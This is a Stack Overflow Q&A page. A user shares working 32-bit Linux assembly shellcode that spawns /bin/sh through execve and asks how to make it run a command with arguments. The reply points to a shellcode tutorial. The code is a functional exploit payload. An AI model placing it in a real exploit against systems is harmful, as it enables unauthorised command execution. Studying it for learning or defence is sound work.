0

I have some basic shellcode:

 BITS 32

jmp short       callit            ; jmp trick as explained above

doit:

pop             esi               ; esi now represents the location of our string
xor             eax, eax          ; make eax 0
mov byte        [esi + 7], al     ; terminate /bin/sh 
lea             ebx, [esi]        ; get the adress of /bin/sh and put it in register ebx 
mov long        [esi + 8], ebx    ; put the value of ebx (the address of /bin/sh) in AAAA ([esi +8]) 
mov long        [esi + 12], eax   ; put NULL in BBBB (remember xor eax, eax) 
mov byte        al, 0x0b          ; Execution time! we use syscall 0x0b which represents execve
mov             ebx, esi          ; argument one... ratatata /bin/sh
lea             ecx, [esi + 8]    ; argument two... ratatata our pointer to /bin/sh
lea             edx, [esi + 12]   ; argument three... ratataa our pointer to NULL
int             0x80

callit:
call            doit              ; part of the jmp trick to get the location of db

db              '/bin/sh#AAAABBBB'

But lets say I want to add some command as arguments for the shell. So for example to make a new file I'd do something like /bin/sh -c 'touch "filepath" But I'm kinda stuck at how I change my shellcode to do this.

Thanks, Seba

1
  • First learn assembly before starting to write shellcode? Commented Dec 13, 2011 at 10:08

1 Answer 1

1

This comes from the tutorial http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html the question you are asking is explained in section The execve example number III (2 > arguments, linux):

Sign up to request clarification or add additional context in comments.

1 Comment

btw. pushing the string to the stack is way easier then jump call pop :p

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.